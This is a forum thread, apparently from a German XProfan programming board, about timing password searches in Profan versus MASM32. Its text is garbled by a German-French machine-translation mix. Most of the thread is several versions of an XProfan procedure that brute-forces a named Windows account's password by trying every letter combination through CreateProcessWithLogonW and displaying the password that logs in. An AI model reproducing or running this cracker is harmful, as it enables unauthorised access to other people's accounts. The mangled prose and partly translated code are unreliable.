Stammtisch & le café | | | | - page 1 - |
|  | Ha quelqu'un quelque chose genauere données um combien MASM32 plus rapide ist comme Profan? Hat cela la fois quelqu'un getestet? |
| | | | |
| | | | - page 2 - |
| |  Frank Abbing | Hi,
alles bien sûr, mach la fois. je sehs mir à. |
| | | | |
| |  | Schaut la fois...
[...] 
Salve, iF |
| | | | |
| |  | Besten Dank. Überschlagen hat ego déjà, bloß qui Tabelle fehlte mir encore. sans Wörterbücher sommes alors allerhöchstens 7-8 Buchstaben drin. KompilierenMarqueSéparationDie Prozedur PWCHECK soll in die DLL
Proc PWCHECK
Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
1.Parameter=zu startendes Programm
2.Parameter=Name des Users dessen Passwort ermittelt werden soll
3.Parameter=Handle des Abbruchbuttons auf dem Hauptfenster
4.Parameter=Welche Buchstaben als ersten Buchstaben setzen (Groß-/Kleinschreibung)?
5.Parameter=Welche Buchstaben für die anderen Buchstaben im Wort setzen (Kleinschreibung)
6.Parameter=Passwort, falls schon bekannt
7.Parameter=Wo soll das Passwort ausgegeben werden?
8.Parameter=Anzahl der durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declare lpStartupinfo#,lpProcessInformation#,lpCommandLine#
Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declare Anfangszeichen#,Zeichen#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
Dim lpCommandLine#,(@len(PPPR$)*2)+1
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM Zeichen#,300
Bei der LSA besonders wichtig - alle Variablen mit Null füllen
Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Clear lpStartupinfo#,lpProcessInformation#,lpCommandLine#
Clear Anfangszeichen#,Zeichen#
Strings werden in Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String Zeichen#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
Long lpStartupInfo#,0=68
In diese API stecke ich Usernamen und bekomme die Domain und den SID heraus
@External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
Ich brauche einen Unicode String und dimensioniere die Variable für den Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
LET StartZeit$=@TIME$(0) Kann evtl. weg
LET STARTDATUM$=@DATE$(0) Kann evtl. weg
DIM PW#,256
CLEAR PW#
LET COUNT%=0
Ich wandele hier die Strings in Unicode Strings um
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
$D "",PWWORT$
WHILENOT ENDE%
SET("FastMode",0) Streichen
Vierzig Buchstaben reicht
IF COUNT%>Buchstaben&
LET ENDE%=1
endif
Wenn im Hauptfenster Abbruch gedrückt wurde soll beendet werden
IF @GT(sendmessage(Button&,$00F2,0,0),40)
Messagebox wäre schön, muß aber nicht sein
LET PANTWORT%=@MESSAGEBOX("Test befindet sich im Augenblick bei "+@STRING$(pw#,0)+".
Test wurde am "+STARTDATUM$+" um "+StartZeit$+" gestartet.","Wollen Sie den Test wirklich abbrechen?",292)
CASE PANTWORT%=6 : LET ENDE%=1
ENDIF
SET("FastMode",1)
Alle möglichen Bustabenkombinationen sollen durchgegangen werden
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
else
LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)
WEND
else
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
Ich brauche wieder einen Unicode String
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(PW2$),-1,PPASSWORT#,256)
Die Funktion gibt nur 1 zurück, wenn das Passwort richtig war
LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
CASE COUNT%=0 : LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
DISPOSE lpCommandLine#
Settext Ausgabefenster&,PW$
ENDPROC
Das soll nicht in die DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@GT(@sendmessage(Start&,$00F2,0,0),40),%MENUITEM=-2)
Waitinput
WEND
Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK $WINPATH+"NOTEPAD.EXE",IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz , »,Edit&, 7
Usecursor 0
peut-être pourrait on une Kombination aus beidem verwenden... |
| | | | |
| |  Frank Abbing | Hi,
dein Codoe produziert Deklarierungsfehler et Buttons volonté déjà aktiviert, si le souris par-dessus fährt. Ausserdem fonctionne es ewig plus, selbst chez Minipasswörtern comment z.B. F. Schaus doch la fois pour.
si tout autor allez, qui Zeit la fois trop testen, peux je volontiers une kurzen Test avec Masm écrivons.
encore une Frage: Soll qui Funktion gefundene marque abhacken? alors cela erste marque sur Gleichheit absuchen, cela cela Zweite, usw.. ou bien alle Buchstaben toujours plus durchdrehen, jusqu'à qui beiden Passwörter irgenwann juste sommes? |
| | | | |
| |  | allô Frank...
Besten Dank, qui du dir den Code déjà la fois angesehen la hâte. là habe je mir wirlich quelques Anfängerschnitzer incorporé. - Einen Variablennamen faux geschrieben, - une überflüssige Addition drin, - XP Neuerungen pas attentive, - Variable pas richtig gelöscht
je veux la fois espérer, qui qui Message pour qui Buttonabfrage sous XP sich pas geändert hat (il y a sur jeden le cas Werte dazugekommen) - sonst prends zur Not dans Profan @GETFOCUS. je hätte mir eigentlich penser peut, qui cela so pas klappt => euer Problem avec den ToolTipps sous XP.
qui Fehlermeldung chez CreateProcessWithLogonW était quelque chose komplizierter. si on pas chaque la fois auparavant dien le contenu qui deux letzten paramètre löscht, peux es vorkommen (je pour dem, quoi sonst encore Text im Code steht), qui cet Variablen avec Sinnlosem Code pleine volonté. ils doivent c'est pourquoi chaque la fois avant dem Aufruf qui Funktion sur zéro gesetzt volonté (stand aussi déjà im Voir le texte source).
je veux la fois espérer cela es maintenant aussi chez dir funktioniert et je pas encore plus Mist incorporé habe:
qui Procédure PWCHECK soll dans qui DLL
Proc PWCHECK
Paramètres PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
1.paramètre=trop startendes Programme
2.paramètre=nom des Users dessen Mot de passe ermittelt volonté soll
3.paramètre=Handle des Abbruchbuttons sur dem Hauptfenster
4.paramètre=quelle Buchstaben comme ersten Buchstaben mettons (large-/Kleinschreibung)?
5.paramètre=quelle Buchstaben pour qui anderen Buchstaben im mot mettons (Kleinschreibung)
6.paramètre=Mot de passe, si déjà bekannt
7.paramètre=wohin soll cela Mot de passe ausgegeben volonté?
8.paramètre=Anzahl qui durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Déclarer BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Déclarer ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Déclarer lpStartupinfo#,lpProcessInformation#
Déclarer PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Déclarer Anfangszeichen#,marque#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Faible lpStartupInfo#,68
Faible lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM marque#,300
chez qui LSA besonders important - alle Variablen avec zéro füllen
Claire DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Claire PPROGRAMM#,PPASSWORT#,Anfangszeichen#,marque#
@Externe("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externe("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Cordes volonté dans Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String marque#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
dans cet API stecke je Usernamen et bekomme qui Domain et den SID heraus
@Externe("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
je brauche une Unicode String et dimensioniere qui Variable pour den Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
LET StartZeit$=@TIME$(0) peux peut-être weg
LET STARTDATUM$=@DATE$(0) peux peut-être weg
DIM PW#,256
CLEAR PW#
LET COUNT%=0
je wandele ici qui Cordes dans Unicode Cordes um
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Long lpStartupInfo#,0=68
WHILENOT ENDE%
SET("Fastmode",0) Streichen
quarante Buchstaben reicht
IF COUNT%>Buchstabenanzahl&
LET ENDE%=1
endif
si im Hauptfenster Abbruch gedrückt wurde soll finissez volonté
IF @sendmessage(Button&,$00F2,0,0)=108
Messagebox wäre joli, doit mais pas son
LET PANTWORT%=@MESSAGEBOX("Test est sich im Augenblick chez "+@STRING$(pw#,0)+".
Test wurde am "+STARTDATUM$+" um "+StartZeit$+" gestartet.»voulons vous den Test wirklich démolir?",292)
CASE PANTWORT%=6 : LET ENDE%=1
ENDIF
SET("Fastmode",1)
Alle möglichen Bustabenkombinationen devoir durchgegangen volonté
IF PWWORT$=»
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
d'autre
LET BYTE%=@BYTE(marque#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(marque#,Zähler%[COUNT%]-1)
WEND
d'autre
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
je brauche wieder une Unicode String
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
qui Funktion gibt seulement 1 zurück, si cela Mot de passe richtig était
SET("Fastmode",0)
@Externe("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externe("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Long lpStartupInfo#,0=68
LET FERGEBNIS&=@Externe("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
Wend
SET("Fastmode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
cela soll pas dans qui DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Déclarer Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,»,20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
WEND
Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz",»,Edit&,7
Usecursor 0
non, es volonté aucun Buchstaben abgehakt sonder toujours wieder gedreht. cela Ganze ist rien d'autre comme Zählen, ici mais pas im Binär-, Octal- ou bien Hexalsystem sonder ici avec 26 jusqu'à maximum 255 unterschiedlichen États pro Stelle. |
| | | | |
| |  Frank Abbing | Hi,
[quote-part:806là4d370]non, es volonté aucun Buchstaben abgehakt sonder toujours wieder gedreht. cela Ganze ist rien d'autre comme Zählen, ici mais pas im Binär-, Octal- ou bien Hexalsystem sonder ici avec 26 jusqu'à maximum 255 unterschiedlichen États pro Stelle.[/quote-part:806là4d370] oui, verstanden.
Dein Progrämmchen findet pour comment avant rien. qui Abbruch-Button hat aussi aucun Wirkung. Hab momentan pas viel Zeit, mais je mach cela Assemblersuchen fertig, si es wieder allez. |
| | | | |
| |  | allô Frank...
tu dois deinen Accountnamen eingeben, pas den Namen, den dir WindowsXP anzeigt. exposition la fois im Dossier Dokunente et Einstellungen pour den là vorhandenen Verzeichnisnamen, ce sont qui sous anderem qui Accountnamen. Aussi J'ai eu encore une falschen paramètre chez MultiByteToWideChar drin. qui 2 doit weg et une 0 rein (je ändere es dessus). ici la fois encore quoi avec Anzeigeoption:
qui Procédure PWCHECK soll dans qui DLL
Proc PWCHECK
Paramètres PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
1.paramètre=trop startendes Programme
2.paramètre=nom des Users dessen Mot de passe ermittelt volonté soll
3.paramètre=Handle des Abbruchbuttons sur dem Hauptfenster
4.paramètre=quelle Buchstaben comme ersten Buchstaben mettons (large-/Kleinschreibung)?
5.paramètre=quelle Buchstaben pour qui anderen Buchstaben im mot mettons (Kleinschreibung)
6.paramètre=Mot de passe, si déjà bekannt
7.paramètre=wohin soll cela Mot de passe ausgegeben volonté?
8.paramètre=Anzahl qui durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Déclarer BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Déclarer ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Déclarer lpStartupinfo#,lpProcessInformation#
Déclarer PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Déclarer Anfangszeichen#,marque#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Faible lpStartupInfo#,68
Faible lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM marque#,300
chez qui LSA besonders important - alle Variablen avec zéro füllen
Claire DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Claire PPROGRAMM#,PPASSWORT#,Anfangszeichen#,marque#
@Externe("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externe("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Cordes volonté dans Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String marque#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
dans cet API stecke je Usernamen et bekomme qui Domain et den SID heraus
@Externe("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
je brauche une Unicode String et dimensioniere qui Variable pour den Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
DIM PW#,256
CLEAR PW#
LET COUNT%=0
je wandele ici qui Cordes dans Unicode Cordes um
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Long lpStartupInfo#,0=68
WHILENOT ENDE%
SET("Fastmode",0)
IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)
LET ENDE%=1
ENDIF
SET("Fastmode",1)
IF PWWORT$=»
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
d'autre
LET BYTE%=@BYTE(marque#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(marque#,Zähler%[COUNT%]-1)
WEND
d'autre
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
@Externe("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Long lpStartupInfo#,0=68
LET FERGEBNIS&=@Externe("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
Wend
SET("Fastmode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
cela soll pas dans qui DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Déclarer Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,»,20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,»,20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
Cas %MENUITEM=-2 : FIN
WEND
Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Localiser 20,0
Imprimer "Funktion wurde am "+@Date$(1)+" um "+@TIME$(0)+" montre gestartet..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText $(Ba&),@GetText $(Bi&),»,Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
|
| | | | |
| |  | ah oui...
BUTTON :roll:
en supplément la fois un Test:
cls
Déclarer Button&
Laisser Button&=@createbutton(%HWND,"OK",10,10,100,30)
Tandis que 0=0
Drawtext 0,100,@str$(@sendmessage(Button&,$00F2,0,0))+" "
sleep 10
Wend
qui Message Fragt den Status des Buttons ab. Folgende Werte gibt vous chez mir zurück: - Button pas gedrückt=0 - Mauscursor liegt sur Button=keine Changement - Button gedrückt=108 - Concentrer liegt sur Button=8 - Concentrer liegt pas sur Button=0
j'ai den le doute cela XProfan avec Manifest ici autre et encore plus Werte zurückgiebt. si oui, pourrait cela aussi qui Grund pour cela Tooltipp Problem sous XP son...  |
| | | | |
| |  Frank Abbing | Hi,
mais qui Tooltippgeschichte wird doch de Windows verwaltet... |
| | | | |
| |  | [quote-part:c026f5ab54] mais qui Tooltippgeschichte wird doch de Windows verwaltet... [/quote-part:c026f5ab54] qui Status des Buttons doch aussi, ou bien? je vais la fois entier stark en aus, qui qui Status des Buttons, si il encore pas gedrückt wurde et qui Mauscursor sur ihm ruht pas 512 ist - ist cela richtig? oui c'est ca là liegt wohl cela Problem avec den Tooltipps - je kanns malheureusement pas testen, mais je denke je hab droite.
PS: Entfern cela Manifest et mon Voir le texte source fonctionne. |
| | | | |
| |  Frank Abbing | Hi,
Du irrst toi. il ist ensuite 512. comment déjà geschrieben  Hab den MASM-Code fertig et Poste ihn juste. |
| | | | |
| |  Frank Abbing | Hi,
so, ici cela Testprogramm. Passwörter doit Großbuchstaben son. qui Zeiten zum Errechnen decken sich avec den Werten de qui Webpage, qui iF ici posté hatte, pour 26il Passwörter.
qui Assemblercode ist encore pas optimiert et benutzt zum comparaison qui Cordes qui API lstrcmp(), qui mais très vite arbeitet. |
| | | | |
|
répondreOptions du sujet | 26.125 Views |
Themeninformationencet Thema hat 4 participant: |